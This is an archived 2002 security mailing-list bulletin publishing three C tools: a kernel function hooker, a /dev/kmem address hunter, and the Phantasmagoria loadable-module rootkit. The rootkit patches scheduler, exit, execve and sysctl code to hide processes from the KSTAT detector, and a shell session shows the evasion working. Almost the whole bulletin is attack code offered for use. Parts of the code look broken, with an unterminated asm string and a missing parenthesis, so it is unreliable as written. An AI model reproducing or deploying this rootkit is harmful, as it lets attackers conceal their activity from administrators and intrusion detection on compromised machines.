[EXPL] KSTAT (and Maybe Others) Bypass (Phantasmagoria)
From: support@securiteam.comDate: 09/08/02
- Previous message: support@securiteam.com: "[EXPL] Zero Width GIF (Exploit)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: Sun, 8 Sep 2002 22:54:49 +0200 (CEST)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
KSTAT (and Maybe Others) Bypass (Phantasmagoria)
------------------------------------------------------------------------
SUMMARY
It is possible to hide processes from KSTAT by removing their structures
from the kernel's task_struct list. Further, by removing (creating an
alternate handler for it) seemingly harmless functions it is possible to
disable system functions that relay on it, for example modifying the
do_execve function instead of the KSTAT monitored sys_execve. The
following provide three tools (exploit code) that can be used on a system
to hide process from prying eyes.
DETAILS
Example:
Shoikan:~/Phantasmagoria# ./kstat -P | grep kstat
686 403 0 0 kstat
Shoikan:~/Phantasmagoria# ./kstat -S
Probing System Calls FingerPrints... No System Call Modified!
Shoikan:~/Phantasmagoria# insmod Phantasmagoria.o
Shoikan:~/Phantasmagoria# ./Heider 403(the current shell pid) HIDE
Hiding successfull
Shoikan:~/Phantasmagoria# ./kstat -P | grep kstat
Shoikan:~/Phantasmagoria# ./kstat -S
Probing System Calls FingerPrints... No System Call Modified!
Shoikan:~/Phantasmagoria#
Tool:
/*
DoubleChain, a simple function hooker
by Dark-Angel <Dark0@angelfire.com>
*/
#define __KERNEL__
#define MODULE
#define LINUX
#include <linux/module.h>
#define CODEJUMP 7
#define BACKUP 7
/* The number of the bytes to backup is variable (at least 7),
the important thing is never break an istruction
*/
static char backup_one[BACKUP+CODEJUMP]="\x90\x90\x90\x90\x90\x90\x90"
"\xb8\x90\x90\x90\x90\xff\xe0";
static char jump_code[CODEJUMP]="\xb8\x90\x90\x90\x90\xff\xe0";
#define FIRST_ADDRESS 0xc0101235 //Address of the function to overwrite
unsigned long *memory;
void cenobite(void) {
printk("Function hooked successfully\n");
asm volatile("mov %ebp,%esp;popl %esp;jmp backup_one);
/*
This asm code is for stack-restoring. The first bytes of
a function
(Cenobite now) are always for the parameters
pushing.Jumping away the
function can't restore the stack, so we must do it by
hand.
With the jump we go to execute the backupped code and
then we jump in
the original function.
*/
}
int init_module(void) {
*(unsigned long *)&jump_code[1]=(unsigned long )cenobite;
*(unsigned long *)&backup_one[BACKUP+1]=(unsigned long)(FIRST_ADDRESS+
BACKUP);
memory=(unsigned long *)FIRST_ADDRESS;
memcpy(backup_one,memory,CODEBACK);
memcpy(memory,jump_code,CODEJUMP);
return 0;
}
void cleanup_module(void) {
memcpy(memory,backup_one,BACKUP);
}
/*
Hunter, a very very raw addresses hunter and memory parser
by Dark-Angel <Dark0@angelfire.com>
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
char *sch_s_pattern[]={"18","fc","ff","ff",NULL};
char *exit_s_pattern[]={"8b","b3","98","00","00","00",NULL};
char *exit_e_pattern[]={"57","56","53",NULL};
char *do_execve_pattern[]={"81","c4","38","01","00","00",NULL};
char *do_sysctl_pattern[]={"83","ec","04","55","57","56","53",NULL};
char *cli="fa";
char computed_address[8];
char *end_string="/g\" config.h > tmpconf";
char *sost_1_string="sed \"s/^\\#define O_E_ADD INSERT/\\#define O_E_ADD
0x";
char *sost_2_string="sed \"s/^\\#define O_F_ADD INSERT/\\#define O_F_ADD
0x";
char *sost_3_string="sed \"s/^\\#define O_EXIT_END INSERT/\\#define
O_EXIT_END 0x";
char *sost_4_string="sed \"s/^\\#define O_DO_EXECVE_END INSERT/\\#define
O_DO_EXECVE_END 0x";
char *sost_5_string="sed \"s/^\\#define CODEBACK1 INSERT/\\#define
CODEBACK1 ";
char *sost_6_string="sed \"s/^\\#define O_DO_SYSCTL INSERT/\\#define
O_DO_SYSCTL 0x";
char command_string[100];
int isNotOp(unsigned char dati);
int isMov(unsigned char buf[]);
int main (int argc, char *argv[]) {
int file,pos,times;
unsigned long address_exit,address_schedule,runner,address_result;
unsigned char data;
unsigned char backuped;
unsigned long offset;
unsigned char buffer[2];
if((file=open("/dev/kmem",O_RDONLY))==-1)
exit -1;
address_schedule=(unsigned long)0xc0100000;
lseek(file,address_schedule,SEEK_SET);
runner=pos=times=0;
while(1) {
read(file,&data,1);
sprintf(buffer,"%.2x",data);
if(!(strcmp(buffer,sch_s_pattern[pos]))) {
if((pos==3)&&(times==3)) {
address_schedule-=3;
lseek(file,-5,SEEK_CUR);
//Now address_schedule and the fp point at
//the first byte before of the start
//of our pattern
runner++;
read(file,&data,1);
sprintf(buffer,"%.2x",data);
while(!(isMov(buffer))) {
SPIN: runner++;
address_schedule--;
lseek(file,-2,SEEK_CUR);
read(file,&data,1);
sprintf(buffer,"%.2x",data);
}
if(runner+4<7)
//If there aren't at least 7 bytes go back by one
//istruction
goto SPIN;
sprintf(computed_address,"%x",address_schedule-1);
strcat(command_string,sost_2_string);
strcat(command_string,computed_address);
strcat(command_string,end_string);
system(command_string);
system("mv tmpconf config.h");
memset(command_string,0,sizeof(command_string));
sprintf(computed_address,"%d",runner+4);
strcat(command_string,sost_5_string);
strcat(command_string,computed_address);
strcat(command_string,end_string);
system(command_string);
system("mv tmpconf config.h");
break;
}
if((pos==3)&&(times<3)){
times++;
goto RESET;
}
pos++;
}
else
RESET: pos=0;
address_schedule++;
} //Fine while
pos=0;
memset(command_string,0,sizeof(command_string));
while(1) {
backuped=data;
read(file,&data,1);
sprintf(buffer,"%.2x",data);
if( (!(strcmp(buffer,cli))) && (isNotOp(backuped)) ) {
while(1) {
read(file,&data,1);
sprintf(buffer,"%.2x",data);
if(isMov(buffer)) {
sprintf(computed_address,"%x",address_schedule+1);
strcat(command_string,sost_1_string);
strcat(command_string,computed_address);
strcat(command_string,end_string);
system(command_string);
system("mv tmpconf config.h");
goto EXIT;
}
else
address_schedule++;
}
}
address_schedule++;
}
EXIT: pos=0;
memset(command_string,0,sizeof(command_string));
while(1) {
read(file,&data,1);
sprintf(buffer,"%.2x",data);
if(!(strcmp(buffer,exit_s_pattern[pos]))) {
if(pos==5) {
pos=0;
while(1) {
read(file,&data,1);
sprintf(buffer,"%.2x",data);
if(!(strcmp(buffer,exit_e_pattern[pos]))) {
if(pos==2) {
sprintf(computed_address,"%x",address_schedule-6);
strcat(command_string,sost_3_string);
strcat(command_string,computed_address);
strcat(command_string,end_string);
system(command_string);
system("mv tmpconf config.h");
break;
}
pos++;
}
else
pos=0;
address_schedule++;
}
break;
}
pos++;
}
else
pos=0;
address_schedule++;
}
times=pos=0;
memset(command_string,0,sizeof(command_string));
while(1) {
read(file,&data,1);
sprintf(buffer,"%.2x",data);
if(!(strcmp(buffer,do_sysctl_pattern[pos]))) {
if((pos==6)&&(times==1)) {
sprintf(computed_address,"%x",address_schedule-2);
strcat(command_string,sost_6_string);
strcat(command_string,computed_address);
strcat(command_string,end_string);
system(command_string);
system("mv tmpconf config.h");
address_schedule++;
break;
}
if((pos==6)&&(times<1)) {
times++;
goto RESTART;
}
pos++;
}
else
RESTART: pos=0;
address_schedule++;
}
pos=0;
memset(command_string,0,sizeof(command_string));
while(1) {
read(file,&data,1);
sprintf(buffer,"%.2x",data);
if(!(strcmp(buffer,do_execve_pattern[pos]))) {
if(pos==5) {
sprintf(computed_address,"%x",address_schedule-1);
strcat(command_string,sost_4_string);
strcat(command_string,computed_address);
strcat(command_string,end_string);
system(command_string);
system("mv tmpconf config.h");
break;
}
else
pos++;
}
else
pos=0;
address_schedule++;
}
return 0;
}
int isNotOp(unsigned char dati) {
int counter;
unsigned char buf[2];
unsigned char *patterns[]={"39","d1","81","89","83","c7",NULL};
sprintf(buf,"%.2x",dati);
counter=0;
for(;counter<6;counter++)
if((strstr(buf,patterns[counter])))
return 0;
return 1;
}
int isMov(unsigned char buffer[]) {
int counter;
unsigned char *patterns[]={"8b","89","b8","bf","c7",NULL};
counter=0;
for(;counter<5;counter++)
if((strstr(buffer,patterns[counter])))
return 1;
return 0;
}
/*
Phantasmagoria, a very cool processes hider
by Dark-Angel <Dark0@angelfire.com>
*/
#define __KERNEL__
#define MODULE
#define LINUX
#ifdef CONFIG_MODVERSIONS
#define MODVERSIONS
#include <linux/modversions.h>
#endif
#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
#include <linux/sched.h>
#include "config.h"
#define PF_INVISIBLE 0x1000000
extern void * sys_call_table[];
void eraser(struct task_struct *p);
#define SIGHIDE 333 //The target process now generates hidden processes
#define SIGTHIDE 777 //Like hide, but the target process is totally hidden
too
#define SIGHKILL 666 //It kills a thided (Total Hided) process
#define CODESIZE 7
#define CODEBACK2 8
static char second_backup[CODEBACK2+7]="\x90\x90\x90\x90\x90\x90\x90"
"\x90\xb8\x00\x00\x00\x00\xff"
"\xe0";
static char first_backup[CODEBACK1+7];
static char third_backup[CODESIZE]="\x90\x90\x90\x90\x90\x90\x90";
static char fourth_backup[CODESIZE]="\x90\x90\x90\x90\x90\x90\x90";
static char fifth_backup[CODESIZE]="\x90\x90\x90\x90\x90\x90\x90";
static char inj_first_code[CODESIZE]="\xb8\x00\x00\x00\x00\xff\xe0";
static char inj_second_code[CODESIZE]="\xb8\x00\x00\x00\x00\xff\xe0";
static char inj_third_code[CODESIZE]="\xb8\x00\x00\x00\x00\xff\xe0";
static char inj_fourth_code[CODESIZE]="\xb8\x00\x00\x00\x00\xff\xe0";
static char inj_fifth_code[CODESIZE]="\xb8\x00\x00\x00\x00\xff\xe0";
struct task_struct *init;
unsigned long *second_addr,*third_addr,*fourth_addr,*fifth_addr;
int (*o_kill)(int pid,int sig);
void (*o_function)(void)=(void*) O_F_ADD;
void first_function(void) {
/* First scheduler hook */
write_lock_irq(&tasklist_lock);
(&init_task)->next_task=(&init_task)->p_pptr;
write_unlock_irq(&tasklist_lock);
asm volatile ("mov %ebp,%esp;popl %ebp;jmp first_backup");
}
void second_function(void) {
/* Second scheduler hook: replace the normal pointer and
detecting/hiding of forked hidden processes */
struct task_struct *p;
long wflag;
write_lock_irqsave(&tasklist_lock,wflag);
(&init_task)->next_task=init;
RESTART:
p=&init_task;
do {
if( ((p->flags & PF_INVISIBLE)==PF_INVISIBLE) &&
(strcmp(p->comm,"bash"))) {
/* The thiding of a shell from that shell itself
will cause a crash, so we can't automatically thide them
*/
eraser(p);
goto RESTART;
}
p=p->next_task;
}
while(p!=&init_task);
if(init->prev_task!=&init_task)
init->prev_task=&init_task;
/* If init->prev_task is different from swapper something
is wrong, so we adjust it
*/
write_unlock_irqrestore(&tasklist_lock,wflag);
asm volatile("mov %ebp, %esp; popl %ebp; jmp second_backup");
}
void eraser(struct task_struct *p) {
/* It thides a process */
struct task_struct *father;
long sflag;
spin_lock_irqsave(&runqueue_lock,sflag);
father=p->p_pptr;
if(p->state!=TASK_ZOMBIE) {
if(p->prev_task!=&init_task)
REMOVE_LINKS(p);
else {
current->prev_task->p_pptr=current->next_task;
current->next_task->prev_task=current->prev_task;
if ((current)->p_osptr)
(current)->p_osptr->p_ysptr = (current)->p_ysptr;
if ((current)->p_ysptr)
(current)->p_ysptr->p_osptr = (current)->p_osptr;
else
(current)->p_pptr->p_cptr = (current)->p_osptr;
}
p->next_task=init_task.p_pptr;
p->prev_task=(&init_task)->p_pptr->prev_task;
p->p_pptr=father;
if(p->next_task->pid!=1)
p->next_task->prev_task=p;
else
p->next_task->prev_task=&init_task;
init_task.p_pptr=p;
p->flags |= (PF_INVISIBLE);
(p)->p_ysptr = NULL;
if (((p)->p_osptr = (p)->p_pptr->p_cptr) != NULL)
(p)->p_osptr->p_ysptr = p;
(p)->p_pptr->p_cptr = p;
}
spin_unlock_irqrestore(&runqueue_lock,sflag);
}
void third_function(void) {
/* modify of the exit_notify */
long wflag,sflag;
if ((current->flags & PF_INVISIBLE)==PF_INVISIBLE) {
spin_lock_irqsave(&runqueue_lock,sflag);
write_lock_irqsave(&tasklist_lock,wflag);
if((current->prev_task)==(&init_task))
current->prev_task->p_pptr=current->next_task;
write_unlock_irqrestore(&tasklist_lock,wflag);
spin_unlock_irqrestore(&runqueue_lock,sflag);
}
asm volatile("mov %ebp, %esp; popl %ebp; jmp third_backup");
}
void fourth_function(void) {
/* do_execve hook to make it thide a marked process */
long wflag;
if((current->flags & PF_INVISIBLE) == PF_INVISIBLE) {
write_lock_irqsave(&tasklist_lock,wflag);
if(!(((current->prev_task->flags & PF_INVISIBLE)== PF_INVISIBLE)||
(current->prev_task==&init_task)))
eraser(current);
write_unlock_irqrestore(&tasklist_lock,wflag);
}
asm volatile("mov %ebp, %esp; popl %ebp; jmp fourth_backup");
}
int (*o_do_sysctl)(int *name, int nlen, void *oldval, size_t *oldlenp,void
*newval, size_t newlen)=(void *)O_DO_SYSCTL;
int n_do_sysctl (int *name, int nlen, void *oldval, size_t *oldlenp,void
*newval, size_t newlen) {
/* Hook to communicate with userspace */
int pid,sig;
struct task_struct *p,*father;
long wflag,sflag;
int found=1;
if((name==NULL) && (oldval==NULL) && (oldlenp==NULL) && (newval==NULL)) {
sig=(int)nlen;
pid=(int)newlen;
switch(sig) {
case SIGHIDE : read_lock(&tasklist_lock);
for_each_task(p)
if(p->pid==pid) {
p->flags |= (PF_INVISIBLE);
found=0;
break;
}
read_unlock(&tasklist_lock);
if(found)
return -1;
else
return 0;
break;
case SIGTHIDE : spin_lock_irqsave(&runqueue_lock,sflag);
write_lock_irqsave(&tasklist_lock,wflag);
for_each_task(p)
if(p->pid==pid) {
/* Sposta la struttura in testa alla lista secondaria */
father=p->p_pptr;
REMOVE_LINKS(p);
p->next_task=init_task.p_pptr;
p->prev_task=&init_task;
p->p_pptr=father;
p->next_task->prev_task=p;
init_task.p_pptr=p;
p->flags |= (PF_INVISIBLE);
(p)->p_ysptr = NULL;
if (((p)->p_osptr = (p)->p_pptr->p_cptr) != NULL)
(p)->p_osptr->p_ysptr = p;
(p)->p_pptr->p_cptr = p;
found=0;
break;
}
write_unlock_irqrestore(&tasklist_lock,wflag);
spin_unlock_irqrestore(&runqueue_lock,sflag);
if(found)
return -1;
else
return 0;
break;
case SIGHKILL : spin_lock_irqsave(&runqueue_lock,sflag);
write_lock_irqsave(&tasklist_lock,wflag);
p=init_task.p_pptr;
while(p!=&init_task) {
if(p->pid==pid) {
if ((&init_task)->p_pptr==p) {
p->prev_task->p_pptr=p->next_task;
p->next_task->prev_task=p->prev_task;
if ((current)->p_osptr)
p->p_osptr->p_ysptr = (p)->p_ysptr;
if ((p)->p_ysptr)
(p)->p_ysptr->p_osptr = (p)->p_osptr;
else
p)->p_pptr->p_cptr = (p)->p_osptr;
}
else
REMOVE_LINKS(p);
SET_LINKS(p);
(*o_kill)(p->pid,9);
break;
}
p=p->next_task;
}
found=0;
write_unlock_irqrestore(&tasklist_lock,wflag);
spin_unlock_irqrestore(&runqueue_lock,sflag);
if(found)
return -1;
else
return 0;
break;
} //Fine switch
}
else {
memcpy(fifth_addr,fifth_backup,CODESIZE);
sig=o_do_sysctl(name,nlen,oldval,oldlenp,newval,newlen);
memcpy(fifth_addr,inj_fifth_code,CODESIZE);
return sig;
}
return -1;
}
int init_module(void) {
EXPORT_NO_SYMBOLS;
for_each_task(init)
if((init->pid)==1)
break;
(&init_task)->p_pptr=init;
memcpy(first_backup,o_function,CODEBACK1);
do {
int i=0;
for(;i<CODESIZE;i++)
first_backup[CODEBACK1+i]=inj_first_code[i];
}
while(0);
*(unsigned long *)&inj_first_code[1]=(unsigned long)first_function;
*(unsigned long *)&inj_second_code[1]=(unsigned long)second_function;
*(unsigned long *)&inj_third_code[1]=(unsigned long)third_function;
*(unsigned long *)&inj_fourth_code[1]=(unsigned long)fourth_function;
*(unsigned long *)&inj_fifth_code[1]=(unsigned long)n_do_sysctl;
*(unsigned long*)&first_backup[CODEBACK1+1]=(unsigned
long)(O_F_ADD+CODEBACK1);
*(unsigned long*)&second_backup[CODEBACK2+1]=(unsigned
long)(O_E_ADD+CODEBACK2);
second_addr=(unsigned long*)O_E_ADD;
third_addr=(unsigned long*)O_EXIT_END;
fourth_addr=(unsigned long*)O_DO_EXECVE_END;
fifth_addr=(unsigned long*)O_DO_SYSCTL;
memcpy(second_backup,second_addr,CODEBACK2);
memcpy(third_backup,third_addr,CODESIZE);
memcpy(fourth_backup,fourth_addr,CODESIZE);
memcpy(fifth_backup,fifth_addr,CODESIZE);
memcpy(o_function,inj_first_code,CODESIZE);
memcpy(second_addr,inj_second_code,CODESIZE);
memcpy(third_addr,inj_third_code,CODESIZE);
memcpy(fourth_addr,inj_fourth_code,CODESIZE);
memcpy(fifth_addr,inj_fifth_code,CODESIZE);
o_kill=sys_call_table[SYS_kill];
return 0;
}
void cleanup_module(void) {
memcpy(o_function,first_backup,CODEBACK1);
memcpy(second_addr,second_backup,CODEBACK2);
memcpy(third_addr,third_backup,CODESIZE);
memcpy(fourth_addr,fourth_backup,CODESIZE);
memcpy(fifth_addr,fifth_backup,CODESIZE);
init_task.next_task=init_task.p_pptr;
init_task.p_pptr=(&init_task);
init->prev_task=(&init_task);
}
ADDITIONAL INFORMATION
The original article can be viewed by going to:
<http://www.s0ftpj.org/bfi/dev/BFi11-dev-11>
http://www.s0ftpj.org/bfi/dev/BFi11-dev-11
The information has been provided by <mailto:dark0@angelfire.com> Dark
Angel.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[EXPL] Zero Width GIF (Exploit)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|